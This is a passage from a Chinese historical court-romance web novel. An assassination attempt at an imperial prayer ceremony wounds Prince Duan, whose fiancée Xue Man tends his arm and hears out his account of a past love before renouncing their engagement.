“不是原话,但意思都一样。”裴唯宁哼道:“她倒是性?子好,成日不是忙着追儿子,便是忙着给太子哥哥安排红颜知己。她一共带了十个婢女进东宫,已经送出?去三个,剩下的七个也?留不久了。” “……”薛满震惊,“她不喜欢太子吗?” “喜欢在权势面前一文不值,太子哥哥是储君,除去太子妃,还纳了两个侧妃和好些?良娣、美人?。太子妃明面上是大度,实际上是固宠,想将太子哥哥留在自己宫里。”裴唯宁冷笑?,“说起来,不久前我遇到太子妃和荣国公家的刘五私聊,你?猜她们在聊什么?” 薛满配合地问:“她们聊了什么?” “刘五说喜欢三哥,愿意给三哥当侧妃,请太子妃帮她到三哥面前说情。” 好事?啊这! 薛满正想拍手称快,裴唯宁又道:“可惜三哥不会纳妾,刘五也?遭到了报应。哈哈,她父亲参与?前户部侍郎贪墨一案,被太子哥哥捉拿归案。父皇收回了刘家爵位,刘五虽逃过一劫,没被卖入教司坊,但往后在京城嫁娶难如登天。” 薛满叹息,刘五小姐的父亲犯了罪,身为子女,刘五小姐理当受其牵连。她只遗憾刘五小姐的抱负未展便已夭折,“还有谁想嫁给端王做侧妃?” 裴唯宁瞥见门口的伟岸身影,机灵地道:“我向你?保证,三哥绝不会纳侧妃给你?添堵。” “那可说不准。”薛满低头拨着腰间环佩,“同为皇子,太子能?纳满宫佳丽,亲王也?不例外。以他的身份样貌,今日有刘五小姐,明日便该有周六小姐,吴七小姐,郑九小姐。天涯到处是芳草,我们该劝他为子嗣着想,娶个不介意他三妻四?妾的贤妻……” 等等,没声?音了,裴唯宁和宫女们呢? 薛满后知后觉地回头,恰好对上裴长旭温润的目光。 他道:“表妹的好意注定落空,本王此?生认准了你?,若有子嗣,只会由你?所出?。” 劝端王解除婚约的话,薛满已经说厌了,他简直比宝姝的牛牛们还要?倔,又或者他是自尊心过剩,不愿意做被解除婚约的那一方? 薛满拍开他的手,根本不接他的话,“你?来做什么?” “来看看你?。” “我又不会丢。” “那可不一定。”裴长旭顿道:“阿满,我不认识刘五小姐,更不会答应太子妃的无理要?求。” 薛满道:“太子妃是你?的长嫂,按照古训,长嫂如母,你?该听?从她的建议。” 裴长旭轻笑?,“本王的母后健在,轮不到旁人?指手画脚。” 他总有话反驳! 薛满懒得跟他辩论,坐到桌旁,斯文地抿着茶水。裴长旭趁机将她认真端详一番,因他们还未成亲,薛满无法穿正式的王妃冠服,但衣着配饰仍比平日华丽繁复,通身光彩动人?。 他想起她试穿婚服的那一幕,鲜红嫁衣,娇艳少女,她今生注定是他的妻。 “看够了没?”薛满斜睨着他,“你?没有正事?做吗?” 裴长旭笑?着叮咛:“多谢表妹挂心,我是该走了,待会我要?统领十二卫护驾随行,不能?时刻陪在你?身边,你?记得跟紧母后,有事?随时叫人?来找我。” 好不容易赶走裴长旭,薛满歇了歇,去正殿拜见皇后,姑侄俩没说几句话,便听?宫女通报太子妃在门外谒见。 薛皇后面不改色,以指尖轻触鬓间的五尾凤钗,“阿满,你?帮姑母瞧瞧,这只钗是不是有些?歪?” 不等薛满回话,吴嬷嬷已恭敬退下。薛满将这一切看在眼里,装模作样地替薛皇后扶钗,“姑母,好了,如今不歪了。” 薛皇后满意地点头,接过宫女递来的温茶,“祈福需要?三个半时辰,期间不可进食用水,你?赶紧用些?糕点,以免待会支撑不住。” 薛满听?话地吃了两口糕点,话中?难掩探究,“姑母,您不喜欢太子妃吗?” 薛皇后佯怒,“出?了趟宫,你?倒染上小宁口无遮拦的毛病。” 薛满说得头头是道:“我虽然失了忆,却能?感受到姑母待我是真好,姑母既然待我真好,我说话便不需要?战战兢兢。” 薛皇后难免感到愧疚,阿满从前虽乖巧懂事?,但到底少了一份恣意任性?。若她不曾幼年?失父失母,想必与?小宁的性?格相差无几…… 她拍拍薛满的手,“你?说得没错,在本宫心里,你?与?小宁一般无二。” “那您对太子妃?” 薛皇后的唇角浅了一分,“太子妃年?轻气盛,偶尔也?该磨磨性?子。” 过了一刻钟,薛皇后宣太子妃进殿,薛满望着门口,见到一名年?轻女子进门,她冠服靡嫚,容颜称不上绝丽,却另有一番秀净倩善。 咦,看起来像个好人?。 薛满暗自嘀咕,见太子妃朝皇后行礼,便也?跟着起身,朝太子妃躬身行礼。 太子妃蒋芸娘一脸浅笑?,“阿满妹妹,好久不见。” 薛满道:“是,好久不见。” 蒋芸娘笑?道:“我瞧妹妹气色红润,身体已然大好,真是可喜可贺。” 薛满一板一眼地回:“多谢太子妃吉言。” 蒋芸娘掩唇,“待你?与?三弟成婚,我还有数不胜数的吉言要?说给你?听?。” “……”薛满无话可说。 薛皇后慢条斯理地放下茶盏,“本宫听?闻,太子的侧妃日前查出?身孕?” 蒋芸娘笑?容一僵,复又落落大方,“回母后,确有此?事?,太医诊出?席侧妃已有两月身孕。” “待会本宫叫人?送些?补品到侧妃宫殿,再命太医随侍东宫,务必保证席侧妃安神稳胎。”薛皇后道:“东宫如今阴盛阳衰,你?身为太子妃,该多为皇嗣操心才是。” 蒋芸娘平易逊顺,“母后所言极是,儿臣定当尽心尽力……” 薛满看得叹为观止,不知情的人?还以为薛皇后与?太子妃是亲婆媳呢!但据裴唯宁所说,太子并非薛皇后所出?,太子妃更是表里不一,啧啧,皇宫里真是深晦莫测。 吉时到,薛满跟在薛皇后、蒋芸娘的后面,坐上步辇来到宫门。天朗气清,万里无云,宫门前已列好仪仗,旌旗高耸,烈烈飘扬。一眼望不尽的卫兵队如松柏林立,威风凛凛。队伍的中?央是由六匹骏马牵骑的龙辇,车壁雕龙刻凤,镶金嵌玉,处处彰显天家奢贵。 一抹明黄色的身影由众人?簇拥着靠近,他眉目深沉,龙威凌霄,步伐坚决果断。紧随其后的是一名年?轻男子,面貌清隽,神态温顺,正是太子裴长泽。 薛满随着旁人?一同下跪,震天的喊声?响彻云端,“吾皇万岁万岁万万岁!” 景帝抬手,“诸位平身。” 众人?谢过恩后起身,景帝走到薛皇后面前,不经意地扫了薛满一眼,“朕瞧阿满恢复得不错。” 薛满忙又行礼,“多谢圣上夸赞。” 景帝并未多停留,与?皇后一起登上龙辇。裴长泽随后上前,对薛满关心道:“阿满,孤听?说你?因病忘了些?事?,莫非把孤与?茹楠都忘干净了?” 薛满含糊其词,“嗯,没错,大概就是这样。”连亲表哥都不记得,怎会记得不亲的表哥和侄女? 裴长泽苦笑?,“要?茹楠知道此?事?,她恐怕要?伤心欲绝,到你?府里哭闹半天。” 薛满听?裴唯宁说起过东宫的几个重?要?人?物,也?知晓她与?太子的女儿关系亲近,但现在的她很难感同身受。 裴长泽道:“这样吧,孤改天带茹楠去你?府上拜访,她半年?未见你?,日日在孤的耳边唠叨,孤的耳朵都快长茧了……” 薛满正要?婉拒,太子妃忽然柔声?提醒:“殿下,您该上辇了。” 裴长泽道:“好,阿满,孤过后再找你?,到时候给你?带好吃和好玩的东西。” 太子与?太子妃并肩离去,太子妃目视前方,和善的面具隐有裂缝。天真蠢笨的黄毛丫头,哪里配得到那么多人?的疼惜! 他们走后,薛满终于?能?坐上车辇。祈福出?行的车辇不似寻常马车那般密不透风,两侧以轻纱遮掩,朦胧可窥其影。 正因如此?,薛满正襟危坐,不敢有一丝松懈。 队列缓慢启动,薛满看似端方,实则在脑中?想着有的没的。瑞清院的鱼喂了吗?阿大、阿理、阿寺它们还好吗?给何湘和宝姝的信和袖炉到哪了?少爷可知她今日要?随行祈福…… 一匹高头骏马靠近车辇,跟着它的速度缓步向前。薛满侧首,透过轻纱,见到一身骑装,宽肩窄腰的裴长旭。此?刻的他褪去温雅,十足的英姿飒爽。 他短暂停留后便驱马离开,百忙之中?用行动告诉她,她不是孤身一人?。 薛满轻哼:她有少爷,从来不是孤身一人?。 大驾离开皇城,驶入城中?街道,所到之处鼓乐齐鸣,披红挂彩,两旁皆有卫兵把守。百姓们被拦在绵延不断的红绸后,摩肩接踵,举目眺望,争相瞻仰天子一年?一度的祈福出?行。 车辇中?的帝后、太子夫妻均看不清容颜,唯有骑行在外的端王裴长旭意气风发,宛如天神降临凡世。 人?群里响起阵阵欢呼声?,充满对天家的尊崇敬畏,对太平盛世的欢欣意足。 薛满切身感受到,成为皇家一分子能?收获何等至高无上的煌荣,但比起时刻紧绷的状态,她更喜欢瑞清院中?随性?惬意的生活。 三个半时辰,她要?坚持三个半时辰! 时间随着喧嚣流淌,一个时辰后,大驾终于?抵达郊外的石窟山麓。石窟群雕依山而建,大佛高约六丈,宝相庄严,结跏趺坐,气魄宏大。它身旁环绕着无数小佛,姿态各异,栩栩如生。 这座石窟是太祖高帝登上宝座后,耗时二十三年?打造的一处圣地,常年?香火不断,寓受佛祖保佑,大周朝千秋万代,寿与?天齐。 石窟寺的方丈率领寺人?们下跪,在袅袅佛香中?喊道:“吾皇万岁,龙体安康,万寿无疆!” 围观群众亦是高呼:“吾皇万岁,龙体安康,万寿无疆!” 景帝便在这一阵阵的高喊中?下车,朝四?面八方的百姓们朗声?道:“祝我大周国运昌盛,江山永固,繁荣和平!” “吾皇万岁!”“国运昌盛!”“江山永固!” 围观的百姓们张袂成荫,人?声?鼎沸,多数人?陷入得见龙颜的极端兴奋中?,少数人?则另有谋算——譬如江书韵,又譬如颜筱筱。 江书韵不认识颜筱筱,颜筱筱也?不认识江书韵,但她们恰好挤在一处,恰好同时关注着端王殿下。 江书韵正目不转睛地盯着端王,忽听?有人?幽幽开口:“殿下卓尔不凡,实乃天人?之姿。” 江书韵不予搭理,对方继续道:“薛小姐真是好福气,能?得到殿下的痴心爱恋,病重?仍旧不离不弃。” 江书韵溢出?一阵轻咳,自那晚近水楼的风波过后,她便染上风寒,身体愈发病弱。她本该在别院中?好好休养,但听?闻薛小姐随帝后、端王一道石窟祈福,她强撑着病躯出?门到此?,为的是一睹对方真容。 人?群拥挤,空气污浊,痴女喃语……都抵不过她想见薛小姐的心。见面是第一步,她真正想做的是找到对方,告诉对方恒安侯世子的婢女之事?,看看对方能?否毫无芥蒂。 她得不到殿下,那婢女更休想脚踏两只船。 痴女没有察觉她的心潮澎湃,自言自语道:“薛小姐的病一好,殿下便跟着神采飞扬,隔着这么远的距离,我都能?感受到他的欢悦。也?好,总比之前那般冷着脸,拒人?于?千里之外要?好……” 江书韵不由侧目,打量起说话的年?轻女子,样貌称得上闭月羞花,可惜气质浓艳,不显矜贵。 她道:“听?你?所言,莫非你?认识端王殿下?” 年?轻女子点点头,又摇摇头,“不过是大梦一场,醒后徒留怅惘。” 眼见江书韵要?想歪,颜筱筱忙解释:“我偶然间与?殿下有过几面之缘,连话都没说过一句,只感慨世间竟有这般优秀痴情的男子。” 江书韵道:“你?喜欢端王殿下。” 她这话不是疑问,而是肯定的语气。 颜筱筱矢口否认:“不,我不喜欢殿下,我心中?已有喜欢的人?,我做这一切都是为了嫁给他。我明日便会启程回家,过不了多久,我便能?如愿嫁给他。” 说到最后,她一脸失魂落魄。她骗得了别人?,却骗不了自己,她分明爱着祯郎,却又对端王殿下动心。可她甚有自知之明,边城武将之女,能?嫁给太守之子已是顶天,又怎能?妄想龙章凤姿的端王殿下……最重?要?的是,殿下从不给她回眸,衬得思动的她像个傻瓜。 罢了,便当作是一场萍水相逢的绮梦。 颜筱筱释怀地道:“希望殿下能?得偿所愿,与?薛小姐恩爱到老。” “……” 江书韵没再理睬她,将目光放回前方。帝后已下车,他们身后的年?轻男女便是太子与?太子妃,繁复的冕服描龙绣凤,金冠熠熠生辉,比旭日更耀眼夺目。他们傲然伫立,接受百姓们的瞻仰,是整个大周朝最显赫的存在。 端王殿下悄然出?现,走到一辆马车前,亲自扶着一位少女下车。少女华服在身,仪态出?众,正是薛家小姐,将来的端王正妃。 江书韵屏住呼吸,踮起脚尖,聚精会神地打量对方,须臾后,她身子一软,直接瘫倒在竹香怀里。 怎么会,怎么可能?? 她嫉妒已久的薛家小姐,心心念念的薛家小姐,怎会是她,怎么可能?是她! “小姐!”竹香低呼:“您又不舒服了吗?奴婢这就带你?回别院!” “不。”江书韵死死抓住她的衣襟,“竹香,你?帮我仔细看,认真看,薛家小姐是不是那人?!” 竹香一头雾水,那人?是指哪人??但当她看清端王身侧的那抹娇影后,她猛打个寒战,从头麻到脚底。 “小、小姐,奴婢眼花了吗,她怎会长得与?、与?恒安侯世子的婢女一模一样?” 江书韵闭了闭眼,“兴许是巧合。” 天下之大,样貌相似何足为奇?好比她与?姐姐诗韵,虽相差两岁,却顶着一模一样的脸庞。薛小姐与?恒安侯世子的婢女想必也?是如此?,相貌代表不了什么,薛小姐是薛小姐,世子婢女是世子婢女…… 可世子总落后婢女半步,婢女嚣张跋扈,毫无谦卑。 可殿下待婢女呵护至极,由她拳打脚踢,出?言不逊。 可杜洋声?称,婢女比姐姐出?现得更早,无人?能?超过她在殿下心里的地位。 除去薛家小姐,还能?有谁让殿下宠溺无度?原来在银月湖畔,与?殿下嬉闹的少女是她……一直都是她…… 江书韵心如死灰,捂脸无声?流泪。到头来,她与?姐姐如出?一辙,费尽万般手段,终不能?改写杂草般的命运。 第73章 第 73 章【双章】 薛满对人群中的心碎一无所知, 换句话说,知道了又能如何,引人春心萌动的家伙又不是她。 裴长旭当着大庭广众之下伸出手, 示意她扶着他下车,薛满迫不得已地配合, 待站稳后,立刻叠手到身前, 一副贵女的标准做派。 裴长旭贴近她, 肩膀不时地与?她相触。 薛满小声提醒:“端王殿下,请你注意身份场合,莫叫旁人看?了笑话。” 裴长旭道:“谁敢笑话本王?” 薛满道:“看?到的人都会笑话你。” 裴长旭道:“哦,本王不在乎。” 薛满憋屈又烦躁, 碍于场合不能发作, 只能捏得指尖发白。好在裴长旭只陪她走了一小段路,便返回队列中维持秩序。 景帝在前, 薛皇后落后两步,依次下去?是太子?、太子?妃,四人进入石窟大佛前的圆形天坛, 天坛正在大佛脚下, 居中摆放着一只半人高的兽面纹青铜方鼎,鼎前有祈福所需的各类物品。 此时,靠近天坛的诸位, 除去?皇后、薛满等人,便是僧人与?景帝的心腹大臣。裴长旭率领十二卫将天坛保护得滴水不漏, 连只苍蝇都难以飞近。 方丈大师手持经?文, 看?了眼天光,朝景帝恭敬颔首:“陛下, 可以开始了。” 景帝走近青铜方鼎前的蒲团,仰望向近在咫尺的石窟大佛,旭日的光恰好投在它的面庞,映照出它的慈眉善目,气韵雄放,如巨人般俯瞰众生。 佛香升起,伴随着诸多僧人们的整齐吟诵,景帝阖眸,朝着大佛稽首膜拜。除去?裴长旭及十二卫兵,其余人皆一步一趋,前额触地,长跪不起。 薛满想到上?次跪拜的经?历,她与?少爷为查若兰寺中的蹊跷,磕足一百零八叩才登上?山顶,有趣的是,少爷为此男扮女装,身段妖娆迷人…… 裴长旭鹰眼如炬,巡视着目光可及之处。百姓们离天坛足有四十丈远,人群中亦有常服卫兵把?守,遇到异况随时能发出警戒。即便如此,他仍常备不懈,右手未离开过?腰间佩剑。 日头渐移,光从大佛的面庞向后转移,落到冷硬灰糙的石壁顶。一道银光微不可察地闪烁,跪拜祈福的众人浑然不觉,四处张望的卫兵们粗心掠过?,唯有裴长旭陡然警觉,星眸锁住佛窟壁顶。 那是片陡峭的石壁,定期有僧人攀登清理,是以寸草不生,连层青苔都未披,绝无可能闪现银光。肉眼望去?,石壁一如既往,可经?过?长达两刻钟地观察后,他竟捕捉到石壁顶的某处产生了异动。 ……异动? 裴长旭脸色大变,不好,石壁顶有埋伏! 说时迟那时快,石壁顶有多处“石块”翻动,缕缕银光暴闪,直冲帝后二人而去?。好在裴长旭反应及时,一个跃身便落到天坛中央,挥剑斩落银光,“叮叮”二声后,他沉声大喊:“大佛顶西?南偏一寸的位置,列队射箭!” 突逢变故,现场本该乱作一团,但奇异的是场面有条不紊。 十二卫随即分头行动,锦衣卫指挥使领三卫保护景帝与?薛皇后,另有两卫负责保护太子?、太子?妃。其余的卫兵们或保护文武大臣,或拦阻到处乱窜的僧人,或朝着石壁的西?南方举起弓箭。 薛满被护在太子?、太子?妃的那一阵,她见到太子?推开太子?妃,执剑奔向景帝,加入了保护景帝的队伍里。薛满不禁感叹太子?英勇,在确定薛皇后无恙后,她下意识地寻找裴长旭的身影。 他站在卫兵们的最?前端,身姿挺拔,长臂遒劲,将一柄弓箭拉满长弦,修指一松,便见羽箭势如破竹,射中石壁顶的某处。 一道灰影痛呼着坠地,吐血,身亡。 裴长旭的一箭燃起其余卫兵们的斗志,羽箭如流星骤雨,争先恐后地射向石壁。 石壁上?的杀手们亦不甘示弱,银光密密层层,与?暗杀者一道坠落,又被十二卫们挥剑斩落。 兵器撞击声络绎不绝。 薛满被人护着往外转移,远处是四散而逃的百姓,近处是他们来时坐的马车。帝后与?太子?等已安全回到马车,只要登上?马车,他们便能脱离陷阱。 可裴长旭还在御敌。 薛满一步三回头,当发觉杀手们转移目标,将银光悉数攻向他一人,顿时心慌意急,“裴长旭,你躲后面一些!” 话音刚落,她便捂紧嘴巴,期望裴长旭没有听到这句话。岂料裴长旭侧首微笑,朝她动了动嘴唇。 他说了什么? 薛满骂自己多事,也骂他糊涂,这种时候怎么能回头,得看?前面啊,看?前面! 然而为时已晚,在裴长旭分神之际,一道银光钻进他的手臂。他闷哼一声,随即举起弓箭,重?新对向石壁—— 尘埃落定时,已近日薄西山。 景帝与?薛皇后一行人有惊无险地返回宫中,景帝龙颜大怒,召集礼部?、太仆寺、十二卫等参与?石窟祈福的所有人到前殿,誓要揪出背后真凶,将他们千刀万剐,九族皆灭! 薛皇后与薛满回到后宫,姑侄刚换好常服,便见裴唯宁焦急地闯进来,“母后,阿满,你们还好吗,有没有受伤!” 薛皇后闭目养神,由吴嬷嬷揉摁额角,“一国公主,毛毛躁躁,成何体统。” 裴唯宁委屈,“我?担心母后和阿满,担心得要死了,哪里顾得上?礼不礼节的。” “不许说死字。”薛满苍白着脸,“姑母很好,我?也很好,我?们都没有受伤。” “那父皇呢?” “皇上?也安然无恙。”薛满咬唇,“但是端王受伤了。” “受了什么伤?严重?吗?” “我?不清楚。”薛满不断地拧着帕子?,怪她,若不是多嘴喊那一声,他不会回头,便不会受伤。 “小宁,你能否派人去?问问,他回来没有?” “没问题,你与?母后休息着,我?帮你去?打探。” 裴唯宁风风火火地离开,半个时辰后,她愁眉苦脸地回到凤仪宫。 “阿满,三哥的左臂中箭,太医正帮他处理呢,流了好多血,换了三盆水仍清理不净!” 薛满的脸色愈加苍白,“还有呢?” “手臂上?两道还不够吗?” “不,我?不是这个意思。”薛满轻声道:“譬如箭上?有没有毒?有没有伤及骨头?多久能痊愈?是否会影响将来的行动?” “呃……”裴唯宁犹豫,三哥只叫她往夸张了说,应该没有把?他说成残废的意思吧? 薛皇后睁眼,“阿满,你既担心旭儿,何不亲自前去?探望?” “于理不合。”薛满推拒:“毕竟男女授受不亲。” “便说是本宫叫你去?探望旭儿。”薛皇后道:“宁儿喜欢夸大其词,本宫更相信你的说辞。” 薛满无奈,只得领命离开。裴唯宁给?薛皇后捶了会背,便想找个借口溜走,冷不丁被薛皇后的话语钉在原地。 薛皇后道:“本宫瞧着,阿满待旭儿似是大有不同。” 裴唯宁马上?道:“怎么会呢,您看?三哥受伤,阿满担心得脸都白了。” “换作从前,阿满不止会脸色发白。”薛皇后若有所思,“本宫问你,阿满与?许少卿的关?系如何?” 裴唯宁深吸口气,尽量稀松平常地道:“您也知道许清桉那人,总是摆着一副倨傲模样,也就是看?在阿满救过?他一命的份上?,吃喝用?度不敢亏待阿满,说话却是惜字如金……” * 薛满来到曾经?的三皇子?宫殿,在门口踌躇许久,久到裴长旭派杜洋来催。 “薛小姐。”杜洋朝她恭敬抱拳,一副得见救星的语气,“您来得刚好,殿下正在房里发脾气,不许太医帮他包扎伤口。” 薛满问:“他因何发脾气?” 杜洋道:“殿下说太医手拙,绷带不是绑得太紧,便是太松,倒不如敞着伤口舒服。” “他在说什么梦话。”薛满斥道:“伤口不包扎,如何止血,又如何隔绝脏污?” “属下也是这般考虑。”杜洋无奈,“但殿下主意已定,非要我?等送走太医。还请薛小姐赶紧进去?劝阻殿下,以免殿下任性妄为。” 薛满难以想象,裴长旭竟跟任性妄为四个字扯上?关?系……那是裴唯宁的专属词,他身为亲王,不该知时达务吗? 简直胡闹! 薛满道:“我?去?请姑母来教训他。” 杜洋哪能让她走,“殿下毕竟有伤在身,若与?皇后娘娘起了冲突,传出去?恐怕惹人非议。薛小姐,您已经?到这了,不如直接进去?教训殿下吧,除去?圣上?和皇后娘娘,殿下最?听您的话。” 薛满又绞起帕子?,说一千道一万,裴长旭受伤是她害的。 劝就劝,她阿满岂是缩头缩脑之辈! 杜洋成功领着薛满往殿内走,到达后殿时,一名年轻太医正唉声叹气地守在卧房门口,见到薛小姐时眼睛一亮。 “薛小姐,请您帮帮下官,劝端王务必要包扎伤口。否则伤口感染,轻则发热,重?则截肢……” 薛满不疑有他,认真仔细地记住太医叮嘱,随后独自进入卧房。 卧房分内外两间,她刚进入外间,便听里间传来男子?不耐烦的声音,“本王说了,出任何事情由本王自负,你赶紧拿着药箱滚回太医院。” 薛满撩开珠帘,对床上?的冷脸青年道:“你耍什么亲王威风,太医哪里招惹到你了?” “阿满,你怎么来了。”裴长旭一脸惊喜,丝毫看?不出两刻钟前便知晓她在殿外,“这里污糟,你去?外间等我?,我?穿好衣服便出来。” 薛满扫视里间一圈,桌上?放着干净的水盆,打开的药箱,空气中弥漫着浓重?的血腥味。裴长旭仅着白色中衣,左臂无力垂落,用?左手笨拙地摊开一件外衣。随着他的动作,左肩袖处沁出大片血迹,瞬时染红中衣—— 行动先于理智,她快步跑到床前,制止他起身的动作,“还敢乱动,你真想截肢吗!” 裴长旭额际沁着冷汗,强撑道:“无碍,小伤而已,过?几天便能痊愈。” 薛满道:“千里之堤溃于蚁穴,这种浅显易懂的道理也要我?来教你?坐下,不许动,再?动我?便将你绑起来!” 少女的娇呵回荡在室内,裴长旭见她转身去?药箱中挑拣,显然是要替他包扎伤口。 他心中柔情荡漾,恨不得伤口再?深些,深到能永远留她在此。 薛满拿好包扎所需的物品,坐到床畔,命令裴长旭脱下衣服。 裴长旭二话不说地脱掉中衣,露出线条分明,紧致有力的上?半身。 “……”薛满面无表情,“脱受伤的那边便好。” 裴长旭道:“衣服脏了,穿着难受。” 他将受伤的手臂送到她面前,暗暗绷紧肌肉,“箭头已经?取出,辛苦表妹替我?包扎。” 薛满对上?那处可怖的血洞,不知深浅如何,正汩汩地溢出鲜血。 她立即用?绸帕捂住伤口,遮住那触目惊心的红,“疼吗?” 裴长旭道:“不疼,箭头只射中皮肉,未伤及骨头。” 假话,即便没有伤到骨头,流这么多血,怎么可能不疼? 出于愧疚的心理,薛满动作轻柔,一语不发地帮他清理血迹,撒上?金疮药,用?绷带反复缠绕,再?穿上?干净的中衣。 整个过?程中,她的指尖抑制不住轻颤,却坚定无惧,直面自己对他造成的伤害。 “抱歉。”她低着头认错,“是我?不好,我?不该在危急关?头喊你,害得你分神受伤。” 裴长旭道:“我?却很开心你能喊那一声,证明你并非对我?满不在乎。” “当时无论谁站在那里,我?都会担心。” “那我?很庆幸,站在那里的是我?而不是旁人。” “经?过?此事,你应该能意识到,我?莽撞胡为,撑不起端王妃——” “你离开京城前生过?一场病。”裴长旭温柔地打断她,“那时是你躺在床上?,我?坐在床畔陪伴你。” 薛满不记得了。 “那时我?以为你是劳累过?度导致生病,等你走后才知晓实情,原来你误会了一件事,一件我?本该早早告诉你的事。”裴长旭问:“阿满,看?在我?险些截肢的份上?,你能不能给?我?个解释的机会?” 薛满想到裴唯宁口中的“追本溯源”,潜意识里抵触万分,又想一走了之。 裴长旭用?伤臂拉住她的手腕,薛满不敢往后使劲,生怕他的伤口再?次崩裂。 裴长旭算准她会心软,“阿满,一刻钟,我?只要一刻钟。” 薛满定定地看?着他,“你真想说?” 裴长旭道:“是。” 薛满闭上?眼,压住胸口那股四处乱窜的悲郁,“你既然要说,便追本溯源,将整件事一字不漏地说清楚。” 裴长旭迟疑片刻,点?头道:“好。” 他想,江诗韵是一段遗憾的过?去?,而阿满承载着他的未来,是他共度余生的唯一伴侣。 与?其讳莫如深,不如大破大立。 “事情要从四年前,你与?小宁下江南游玩开始说起……” 听裴长旭的描述,那是一段遗憾唯美,充满悲情色彩的故事。 貌美柔弱的少女,年少尊贵的端王,他们的身份判若天渊,却在命运的安排里相知相许。她视他为人生救赎,他愿为她突破俗世恒规,这番深情当感动天地,奈何受到帝后阻挠,以她的性命、他的前途威胁,经?过?痛苦考量,他终是选择放手,想送她远走,为她另觅佳婿。 然而她死在分别的那天,死在他仇敌的手中,死在他最?爱她的时候。 生活总要继续,他在表妹薛小姐的安抚中走出痛苦,重?新拾起希望,接受薛小姐的表白,与?她定下婚约,回到端王正常的人生轨迹中。 重?点?来了,早死的少女还有个妹妹,妹妹与?她生得一模一样,自小重?病缠身。少女死前曾托他照顾妹妹,于是在妹妹来信求助时,他心软将她接到京城,养在南溪别院,并四处替她寻觅靠谱的亲事。 端王做这一切时,并未告知未婚妻薛小姐,他想等妹妹出嫁后再?向薛小姐坦白,免得她胡思乱想,误会他余情未了。 但,薛小姐意外见到了妹妹,以为对方是假死的少女,愤恨端王欺骗自己,于是一怒之下,乔装打扮离开京城,单方面毁去?两人的婚约…… 裴长旭将往事一五一十地道来,做好挨她冷嘲热讽甚至打骂的准备,可薛满的反应令他如堕五里雾间。 她在笑,表情是孩童般纯粹的艳羡,“多好啊,姐姐死了,还有个妹妹活着,姐妹长着同一张脸,同样视你为救赎,离不开你的照拂。你有没有想过?,是上?苍怜惜你与?姐姐的爱而不得,所以送妹妹来替你们完成夙愿?” “……” “我?知道了,你定是担忧薛小姐想不开,呐,我?可以向你保证,薛小姐绝没有这个意思,她离开京城不是因为赌气,而是洞察了本质,想成全你与?那对姐妹的姻缘。” “……” “对了,你还担心圣上?和皇后娘娘吧?不怕,我?会请公主和祖父,或者还有老?恒安侯,请他们一起帮你说服圣上?和娘娘。真爱面前,门第不过?纸老?虎,我?们齐心合力便能打到它!” “……” “等你与?那妹妹成了亲,便能彻底实现你对姐姐的承诺,届时我?会送上?一份大礼,祝福你们恩爱到老?!” “……” 裴长旭张了张嘴,发不出任何声音。他想反驳她说的每一个字,但她灿烂真切的笑容,如一柄粗糙钝化的匕首,寸寸凌迟他的意志。 不,她说得不对。 “阿满——” “我?向你真诚道歉,之前是我?不明就里,对你满怀偏见。如今解开误会,我?会将你当成亲生兄长,坚定支持你守护真爱。” “……” 裴长旭欲扶住她的肩膀,她却敏捷地退远,朝他笑道:“兄长受了伤,需要好好休息,小妹先走一步,改日再?来探望你。” 眨眼工夫,她已消失在珠帘背后。裴长旭忍痛起身,胡乱披上?外衣,“杜洋,拦住阿满!” 薛满也对杜洋道:“端王有伤在身,你作为侍卫,应当知晓怎么做才是为他好。” 杜洋当即转身进屋,拦住罕见失态的裴长旭,“殿下,薛小姐说得没错,您当务之急是好好养伤……” 薛满疾步跑出宫殿,确定无人跟上?后,缓缓停在原地。天际丹霞似锦,落日余晖中,皇宫宏壮奢丽,令人望而生畏。 随侍的宫女问道:“薛小姐,要回凤仪宫吗?” “不。”她轻声道:“我?想走走,有没有人少,不会冒犯到贵人的地方能去??” “有的。”宫女道:“御花园的西?角有座得闲亭,那边离乾清宫远,贵人们几乎不去?,您从前常跟七公主约在那边见面。” “甚好。”薛满道:“劳你前面领路。” 宫女乖顺地领她去?往得闲亭,路过?一处奇石群时,听见有两道尖细嗓音在说话。 “往年圣上?前往石窟大佛祈福,皆是风和日丽,顺顺利利。今年端王殿下随行,却突生不测,弄得大伙人心惶惶。” “正是,端王殿下既负责祈福安保,便该事先排查所有隐患,而非敷衍潦草,将圣上?置于危险之地。” “外头都传端王殿下绝伦超群,堪为皇子?表率,如今看?来,不过?是夸大其词。反观太子?殿下,平日不爱出风头,办事却稳重?妥帖,挑不出任何毛病。” “嗨,若是前皇后还在,哪轮得着端王殿下当皇子?表率?这天底下的人啊,惯来趋炎附势,谁正得宠,便偏着谁可劲儿吹捧,也不怕把?人吹得太高,落地时摔惨咯……” 两名太监自以为找的地方偏僻,将阴暗的心思畅所欲言,末了互相叮嘱:老?规矩,守口如瓶,这些话不许告诉第三个人! 两人清清嗓,敛容正色地往外走,没两步便大惊失色。 我?的亲娘亲爹亲姥姥诶!外头怎么站着两个人!她们什么时候来的!有没有听到他们的那番言论! 宫女上?下打量着两人,一高一矮,一胖一瘦,年轻,面生,应当是宫中新人,难怪嘴上?无门。 她看?向薛满,后者面带微笑,眼神却冷得瘆人。 “我?倒不知,宫中太监竟能随意议论皇子?,挑拨各宫是非。” 两名太监抖若筛糠,朝薛满跪倒,重?重?磕起头来,“奴才们知错,奴才们贫嘴贱舌,不该议论皇子?们的是非。求贵人开恩,求贵人饶命,奴才们往后再?不敢了……” “贵人?”薛满道:“你们喊错了,我?不是宫中秀女。” 太监们略显疑惑,不是贵人,那她是谁? 薛满道:“我?姓薛。” 姓薛的贵女……莫不是薛皇后的侄女……完了,天彻底塌了! 两名太监痛哭流涕,“薛小姐,奴才真知道错了,奴才愿给?您做牛做马,求您绕过?奴才这一回吧……” 薛满无动于衷,命宫女领他们去?往凤仪宫认罚,人总要为所言所行负责,他们如此,她亦不例外。 她顺着宫女说的方向,继续前往得闲亭,这回没再?遇到其他人。 得闲亭飞檐流角,镂刻精致,周遭却草木萧稀。本就是偏僻之处,入冬后花匠偷了懒,此地便弥漫着一股凋零气息。 薛满倒觉得这股子?凋零很符合当下的心情,一年有四季轮换,人生也避不开凄风苦雨。 忘记过?去?也避不开。 她捡起一片枯叶,举到眼前,郑重?其事地检查每一条脉络,好似在检查薛小姐的人生。 门第显赫,出生便是世家贵女,父母虽然早逝,但祖父德高望重?,姑母是当今皇后,未婚夫是端王殿下,表姐是得宠的公主,每个人都待她真心实意。 该知足了。 端王另有所爱而已,又不是移情别恋,没谁对不起她,一切都是命运的安排。 